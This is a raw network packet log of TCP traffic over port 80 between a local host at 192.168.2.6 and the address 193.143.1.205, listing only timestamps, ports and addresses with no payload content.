Jan 11, 2025 02:15:08.790946960 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.790976048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.791336060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.791388035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.791420937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.791467905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.791500092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.791551113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.791599989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.791609049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.791625023 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.791651964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.791685104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.791718006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.791749954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.791785002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.791794062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.791794062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.791956902 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.792232037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.792284012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.792316914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.792365074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.792397022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.792429924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.792439938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.792439938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.792541981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.792589903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.792623997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.792654991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.792656898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.792692900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.792721987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.792963028 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.795022011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.795053005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.795103073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.795141935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.795144081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.795208931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.795243025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.795289993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.795304060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.795339108 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.795346975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.795378923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.795412064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.795423031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.795445919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.795480013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.795515060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.795550108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.795559883 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.795559883 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.795612097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.795950890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.795986891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.796020031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.796174049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.796230078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.796279907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.796312094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.796344042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.796377897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.796410084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.796416998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.796416998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.796519995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.796555042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.796582937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.796648979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.797980070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.798015118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.798048019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.798094988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.800544024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.800544024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.804594994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.841901064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.841942072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.842048883 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.842055082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.842088938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.842122078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.842154980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.842160940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.842190027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.842205048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.842219114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.842263937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.876251936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876297951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876357079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876393080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876424074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.876426935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876462936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876491070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876518011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.876528978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876552105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.876563072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876580000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.876594067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876626015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876661062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876691103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.876693010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876727104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876750946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.876761913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876794100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876827955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876840115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.876840115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.876863956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.876961946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.910358906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.910458088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.910492897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.910556078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.910562038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.910626888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.910681009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.910684109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.910712004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.910746098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.910748959 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.910777092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.910809040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.910859108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.910865068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.910866022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.910892010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.910942078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.910974979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.910976887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.911005974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911041021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911082029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911082983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.911082983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.911114931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911148071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911185026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911186934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.911235094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911242962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.911267996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911298990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911331892 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.911353111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911386013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911417961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911448956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911499023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911533117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911581039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911581993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.911611080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911645889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.911645889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.911648989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911680937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911714077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911751032 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.911762953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911763906 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.911798000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911830902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911861897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911895037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911904097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.911904097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.911930084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.911983967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912019014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912050962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912081957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.912091017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912122965 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.912123919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912138939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.912157059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912190914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912221909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912234068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.912255049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912290096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912322998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912328005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.912370920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912404060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912430048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.912430048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.912436008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912468910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912502050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912519932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.912553072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912601948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912635088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912661076 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.912667036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912698984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912714958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.912714958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.912833929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912868023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912883997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.912902117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912950993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.912962914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.912983894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913017988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913053989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913086891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913120031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913132906 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.913132906 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.913151979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913184881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913186073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.913218021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913240910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.913249016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913300991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913327932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.913335085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913366079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913398027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913420916 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.913430929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913464069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913499117 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.913501024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913516998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.913535118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913567066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913599968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913633108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913645983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.913645983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.913666010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913701057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913734913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913744926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.913767099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913800001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913832903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.913832903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913866043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.913891077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.913899899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.914206028 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.928559065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.928668976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.928719044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.928754091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.928786993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.928798914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.928798914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.928821087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.928837061 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.928853989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.928886890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.928909063 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.950881004 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.962821007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.962836027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.962847948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.962910891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.962924004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.962938070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.962945938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.962945938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.962999105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.963052988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.963064909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.963077068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.963088989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.963097095 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.963119984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.963192940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.963203907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.963216066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.963227987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.963234901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.963346958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.963350058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.963361025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.963373899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.963386059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.963443041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.963443041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.963469982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.963485003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.963510036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.963551044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.963551044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.996988058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997006893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997028112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997040033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997060061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997075081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997087002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997097015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997132063 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.997198105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.997268915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997279882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997291088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997303963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997314930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997330904 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.997334003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997344971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997358084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997368097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.997442007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997451067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997472048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.997472048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.997498989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997510910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997528076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997539997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997549057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.997549057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997574091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997606039 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.997606039 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.997641087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997663975 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.997665882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997677088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997715950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997725964 CET	80	49710	193.143.1.205	192.168.2.6
